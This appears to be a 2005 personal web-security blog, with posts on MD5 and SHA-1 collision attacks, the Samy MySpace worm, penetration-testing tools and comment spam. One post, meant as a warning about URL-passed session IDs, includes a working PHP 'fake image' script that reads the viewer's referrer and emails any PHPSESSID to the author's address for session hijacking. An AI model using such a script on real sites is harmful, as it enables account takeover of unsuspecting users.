The End of MD5? broken in 45 minutes!

November 15th, 2005

New code sample released today shows its possible to find a collision on an MD5 hash within 45 minutes on a P4 1.6 GHZ machine.
http://www.stachliu.com/collisions.html

code sample:
http://www.stachliu.com/md5coll.c

Security Focused PODCASTS with Steve Gibson and Leo Laporte

November 2nd, 2005

Came across this site on Digg and it seems to be a pretty nice little listen if you have some spare time to listen about computer security. They have a new episode each week where they focus on a varity of different security issues that are out now.

Steve Gibson and Leo Laporte - SECURITY NOW

http://www.grc.com/securitynow.htm

How Samy broke myspace - DETAILED!

October 17th, 2005

Here is the man himself explaining step by step how he got passed the myspace security checks and implemented his magic javascript. Nothing amazing but very clever!

http://namb.la/popular/tech.html

Windows XP hacked in 8 seconds

September 13th, 2005

Just saw an interesting video and article on how fast it takes for a windows XP system with no firewall or virus scanner to be attacked. The result... 8 seconds.
Video included

http://www.bbcworld.com/content/clickonline_archive_14_2005.asp?pageid=665&co_pageid=3

"We're always telling you how important anti-virus and firewall software is for securing your home PC - the Internet is a dangerous place for unprotected PCs. Spencer Kelly met up with a reformed ex-hacker, who gave him a demonstration of just how much damage a worm or virus can do to your home computer. "

Why trusting in a site that passes your session ID around is bad

September 9th, 2005

Just started reading Ilia Alshanetsky's new PHP Guide to Security book found over at http://www.phparch.com and I must say this is a must have book for any serious php developers. The session security chapter alone is worth the price. Here is a little script I wrote which should point out why you should NEVER keep any personal information on a site that transmits their session IDS through the URL.

Lets say we're on a web forum together on site www.xyz.com and I'm allowed to post a URL to an image in my avatar, well instead of www.jimsite.com/myimage.jpg I make it www.jimsite.com/fake_image.php

so the html would output

<img src="www.jimsite.com/fake_image.php">



If your URL string has the session ID passed in it like www.xyz.com?PHPSESSID=593584jgjdl59 and you view the page that has my image.. guess what I can write:

  1.  
  2. <?php
  3. $referrer = $_SERVER['HTTP_REFERER'];
  4.  
  5. // lets check to see if we got something juicy
  6. if(strstr($referrer, 'PHPSESSID=')) {
  7. mail('jplush76@gmail.com', 'GOT A SESSION ID!', $referrer);
  8. }
  9. $type = filetype('img.jpg');
  10. header("Content-type: $type");
  11. ?>


so it looks like it still outputs my image however I just emailed myself your URL string if it contains the PHPSESSID which is the default Session ID name PHP uses. So once I get that email I can copy/paste into my browser and guess what, I'm now you. I can get into your account and do whatever I want and it was pretty darn easy.

be warned.. and get that book!

Spam Be-Gone - Defeating the evil spamwhores

September 2nd, 2005

I made a post a couple weeks ago about comment spammers littering my blog with gambling links, every day I'd have to delete a few dozen spam comments, then they really started pouring in. I had 40 one morning which led me to block certain referrers that showed up as spammers and to install a CAPTCHA image on the comment submission page. Its been two weeks now and I haven't had one spam.. YIPPIEEEEEEEEEE. I log all the captcha failures and referrer blocks and boy are they trying its now up to a couple hundred attempts per day to log comment spam but all of them are being blocked. Bye Bye bitches. ;)

Interview with a Link Spammer

August 19th, 2005

interesting read from jan 2005 in case you missed it

http://www.theregister.co.uk/2005/01/31/link_spamer_interview/

Basically an interview with a link spammer who spams blogs and why he does it, could very well be the same prick spamming this blog everyday :)

"Exclusive Sam - let's call our interviewee Sam, it's suitably anonymous - lives in a three-bedroom semi-detached house in London, drives a vintage Jaguar and runs his own company. But "it's not not all rock and roll and big money", says Sam. What isn't? Spamming websites and blogs with text to pump up the search engine rankings of sites pushing PPC (pills, porn and casinos), that's what.

For that's what Sam does, pretty much all day long. He - we'll use the male notation, it's easier - would do this anyway for fun, but it's more than fun; he says he can earn seven-figure sums doing this. Sam is a link spammer. He's unapologetic about it. Skilled in Perl, LWP and PHP, Sam's first professional programming was done aged 13, when he sold some code to a gaming company. He's 32 now, and spoke to The Register on condition of anonymity."

The once mighty SHA-1 hashing is now no more

August 19th, 2005

News of the day
http://www.theregister.co.uk/2005/08/19/sha-1_attack/

"Crypto researchers have discovered a new, much faster, attack against the widely-used SHA-1 hashing algorithm. Xiaoyun Wang, one of the team of Chinese cryptographers that demonstrated earlier attacks against SHA-0 and SHA-1, along with Andrew Yao and Frances Yao, have discovered a way to produce a collision in SHA-1 over just 263 hash operations compared to 269 hash operations previously. A brute force attack should take 280 operations."

This may not seem huge right now but given the computer power of 3 or 4 years from now it doesn't sit well for SHA-1 which has always been thought of as more secure hashing than MD5 alone.


Paros Proxy - Cool tool to add to your arsenal

August 15th, 2005

Last week I downloaded the free HTTP Proxy tool called Paros Proxy after a recommendation from the WebHacking book by Stuart McClure and I'm pretty darn satisfied with it. Testing SOAP applications can be a bit of a pain and having a proxy like this really makes life easy, as well as being able to do little security tests on your application without needing to write a custom socket client script.

Brief Overview:
Paraos allows you to see the raw HTTP traffic from your browser to your webserver and INTERCEPT AND MODIFY IT! So basically you click on a link on your webpage, the http request goes to your proxy(Paros) and sits there, letting you view it. If you want to change a variable or the user agent at runtime to see how your script reacts just change it and hit send and it then sends it to the webserver. You can also see the raw response that the web server returns.

It is espcially handy for testing how drop down lists or radio buttons where you have a set of defined options yet at run time you want to test what a malicious user could actual send as those values to make sure you're testing for those fields properly.

Some other cool features...
*Manual Request Box - lets you type in a manual GET/POST whatever request to the webserver
*Scanner - scans the site for basic vulns (haven't really gotten too deep on this feature yet)
*Filters - lets you filter out requests you might not be interested in like jpg, gif, css, etc

http://www.parosproxy.org/index.shtml




Foundstone Releases new Web Services Penetration Tool

July 13th, 2005

This could turn out to be pretty handy!

WSDigger is a free open source tool designed by Foundstone to automate black-box web services security testing (also known as penetration testing). WSDigger is more than a tool, it is a web services testing framework. Version one of this framework contains sample attack plug-ins for SQL injection, cross site scripting and XPATH injection attacks. A web service vulnerable to XPATH injection is provided as an example with the tool. By releasing the framework as an open-source tool, users are encouraged to develop and share their own plug-ins.

http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/wsdigger.htm

you can even just attack your own public wsdl without having it go through a UDDI